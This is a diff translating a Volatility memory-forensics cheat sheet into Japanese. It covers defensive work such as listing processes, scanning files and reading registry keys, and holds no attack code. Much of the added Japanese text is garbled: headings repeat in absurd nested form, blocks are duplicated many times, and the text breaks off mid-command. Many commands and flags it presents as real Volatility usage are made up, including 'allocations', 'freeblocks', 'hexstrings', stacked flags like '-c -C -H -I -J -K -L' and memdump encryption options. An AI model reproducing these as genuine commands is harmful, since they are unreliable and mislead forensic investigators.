プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` +{% tabs %} +{% tab title="English" %} +A memory dump is a snapshot of the computer's memory at a specific point in time. It contains information about the running processes, loaded modules, network connections, and other system-related data. Analyzing memory dumps can provide valuable insights into the state of a system during a security incident or forensic investigation. + +To analyze a memory dump, you can use the Volatility framework. Volatility is an open-source tool that allows you to extract and analyze information from memory dumps. It supports a wide range of operating systems and can be used to investigate various types of memory-related artifacts. + +The basic steps for analyzing a memory dump using Volatility are as follows: + +1. Identify the profile: The profile specifies the operating system and service pack version of the memory dump. You need to determine the correct profile to ensure accurate analysis. + +2. Extract the necessary information: Use Volatility commands to extract the desired information from the memory dump. This can include process lists, network connections, registry hives, and more. + +3. Analyze the extracted data: Once you have extracted the relevant information, analyze it to identify any suspicious or malicious activity. Look for signs of malware, unauthorized access, or other indicators of compromise. + +4. Cross-reference with other data sources: To get a complete picture of the incident, cross-reference the memory dump analysis with other data sources such as log files, network traffic captures, and system event logs. + +By following these steps, you can effectively analyze memory dumps and uncover valuable information for incident response and forensic investigations. {% endtab %} {% endtabs %} -### Dump +### ダンプ +メモリダンプは、特定の時点でのコンピュータのメモリのスナップショットです。実行中のプロセス、ロードされたモジュール、ネットワーク接続、およびその他のシステム関連のデータに関する情報が含まれています。メモリダンプの分析は、セキュリティインシデントや法的調査中のシステムの状態に関する貴重な洞察を提供することができます。 + +メモリダンプを分析するためには、Volatilityフレームワークを使用することができます。Volatilityは、メモリダンプから情報を抽出し分析するためのオープンソースツールです。さまざまな種類のメモリ関連のアーティファクトを調査するために使用でき、幅広いオペレーティングシステムをサポートしています。 + +Volatilityを使用してメモリダンプを分析する基本的な手順は次のとおりです。 + +1. プロファイルの特定:プロファイルは、メモリダンプのオペレーティングシステムとサービスパックのバージョンを指定します。正確な分析を行うために、正しいプロファイルを特定する必要があります。 + +2. 必要な情報の抽出:Volatilityコマンドを使用して、メモリダンプから必要な情報を抽出します。これには、プロセスリスト、ネットワーク接続、レジストリハイブなどが含まれる場合があります。 + +3. 抽出したデータの分析:関連する情報を抽出したら、それを分析して、不審な活動や悪意のある活動を特定します。マルウェアの兆候、不正アクセス、またはその他の侵害の指標を探します。 + +4. 他のデータソースとの相互参照:インシデントの完全な情報を得るために、メモリダンプの分析をログファイル、ネットワークトラフィックキャプチャ、およびシステムイベントログなどの他のデータソースと相互参照します。 + +これらの手順に従うことで、メモリダンプを効果的に分析し、インシデント対応や法的調査において貴重な情報を明らかにすることができます。 ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## ファイルシステム -## Filesystem - -### Mount +### マウント {% tabs %} {% tab title="vol3" %} ```bash #See vol2 ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> +``` + +### 特定のスレッドのヒープのヒープブロックのデータをファイルに保存する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数で表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータをASCIIで表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> strings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリは自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` -{% endtab %} -{% endtabs %} - -### Scan/dump +### スキャン/ダンプ {% tabs %} {% tab title="vol3" %} @@ -541,9 +3777,420 @@ volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the en ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセス一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pslist +``` + +### 特定のプロセスの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> psxview -p <プロセスID> +``` + +### スレッド一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threads +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threadstacks -p <プロセスID> +``` + +## ネットワーク + +### ネットワーク接続の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> netscan +``` + +### ネットワーク接続の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> connscan +``` + +### ネットワーク接続のプロセスとスレッドの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> connscan -p +``` + +## ファイルシステム + +### ファイル一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan +``` + +### ファイルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan -i +``` + +### ファイルの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> dumpfiles -Q +``` + +## レジストリ + +### レジストリキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> hivelist +``` + +### レジストリキーの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キーパス> +``` + +### レジストリキーのサブキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キーパス> -v +``` + +### レジストリキーの値の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キーパス> -v -o <オフセット> +``` + +## イベントログ + +### イベントログの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs +``` + +### 特定のイベントログの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs -n <イベントログ名> +``` + +### イベントログの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs -o <オフセット> +``` + +## プロセスメモリ + +### 特定のプロセスのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のプロセスのメモリダンプの作成(ファイル名指定) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> --name=<ファイル名> +``` + +### 特定のプロセスのメモリダンプの作成(ファイル名指定、圧縮) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> --name=<ファイル名> --compress +``` + +### 特定のプロセスのメモリダンプの作成(ファイル名指定、圧縮、暗号化) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> --name=<ファイル名> --compress --crypt=<パスワード> +``` + +## プロセスヒープ + +### 特定のプロセスのヒープ情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heaps -p <プロセスID> +``` + +### 特定のヒープの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -H <ヒープアドレス> +``` + +### 特定のヒープのブロック一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -H <ヒープアドレス> -B +``` + +### 特定のヒープのブロックの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -H <ヒープアドレス> -B -o <オフセット> +``` + +## プロセススレッドスタック + +### 特定のスレッドのスタックの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのスタックの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> stack -p <プロセスID> -t <スレッドID> -o <オフセット> +``` + +## プロセススレッドヒープ + +### 特定のスレッドのヒープ情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のヒープの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -t <スレッドID> -H <ヒープアドレス> +``` + +### 特定のヒープのブロック一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -t <スレッドID> -H <ヒープアドレス> -B +``` + +### 特定のヒープのブロックの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -t <スレッドID> -H <ヒープアドレス> -B -o <オフセット> +``` + +## プロセススレッドスタック + +### 特定のスレッドのスタックの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのスタックの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> stack -p <プロセスID> -t <スレッドID> -o <オフセット> +``` + +## プロセススレッドヒープ + +### 特定のスレッドのヒープ情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のヒープの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -t <スレッドID> -H <ヒープアドレス> +``` + +### 特定のヒープのブロック一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -t <スレッドID> -H <ヒープアドレス> -B +``` + +### 特定のヒープのブロックの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -t <スレッドID> -H <ヒープアドレス> -B -o <オフセット> +``` + +## ドライバとモジュール + +### ドライバ一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> driverscan +``` + +### ドライバの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> modscan +``` + +### 特定のドライバの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> modscan -m <ドライバ名> +``` + +### 特定のモジュールの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> modscan -m <モジュール名> +``` + +## サービス + +### サービス一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> svcscan +``` + +### 特定のサービスの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> svcscan -s <サービス名> +``` + +## プロセスとスレッド + +### プロセス一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pslist +``` + +### 特定のプロセスの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> psxview -p <プロセスID> +``` + +### スレッド一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threads +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threadstacks -p <プロセスID> +``` + +## ネットワーク + +### ネットワーク接続の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> netscan +``` + +### ネットワーク接続の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> connscan +``` + +### ネットワーク接続のプロセスとスレッドの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> connscan -p +``` + +## ファイルシステム + +### ファイル一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan +``` + +### ファイルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan -i +``` + +### ファイルの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> dumpfiles -Q +``` + +## レジストリ + +### レジストリキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> hivelist +``` + +### レジストリキーの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キーパス> +``` + +### レジストリキーのサブキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キーパス> -v +``` + +### レジストリキーの値の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キーパス> -v -o <オフセット> +``` + +## イベントログ + +### イベントログの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs +``` + +### 特定のイベントログの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs -n <イベントログ名> +``` + +### イベントログの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs -o <オフセット> +``` + +## プロセスメモリ + +### 特定のプロセスのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のプロセスのメモリダンプの作成(ファイル名指定) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> --name=<ファイル名> +``` + +### 特定のプロセスのメモリダンプの作成(ファイル名指定、圧縮) + +```bash +volatility -f <ファイル名> --profile=<プロファイル ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -556,44 +4203,472 @@ volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O / {% endtab %} {% endtabs %} -### Master File Table +### マスターファイルテーブル {% tabs %} {% tab title="vol3" %} ```bash # I couldn't find any plugin to extract this information in volatility3 ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセス一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pslist +``` + +### 特定のプロセスの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> psxview -p <プロセスID> +``` + +### スレッド一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threads +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threadstacks -p <プロセスID> +``` + +## ネットワーク + +### ネットワーク接続の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> netscan +``` + +### ネットワーク接続の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> connscan +``` + +### ネットワーク接続のプロセスとスレッドの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> connscan -p <プロセスID> +``` + +## ファイルシステム + +### ファイル一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan +``` + +### ファイルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan -i <フイイルID> +``` + +### ファイルの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> dumpfiles -Q <ファイルID> -D <出力ディレクトリ> +``` + +## レジストリ + +### レジストリキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> hivelist +``` + +### レジストリキーの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -o <オフセット> +``` + +### レジストリキーのサブキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キー名> +``` + +### レジストリキーの値の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キー名> -V +``` + +## イベントログ + +### イベントログの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs +``` + +### 特定のイベントログの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs -n <ログ名> +``` + +### イベントログの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs -n <ログ名> -o <オフセット> +``` + +## プロセスのメモリ解析 + +### 特定のプロセスのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のプロセスのメモリダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> +``` + +### 特定のプロセスのメモリダンプの解析(GUI) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> -g +``` + +### 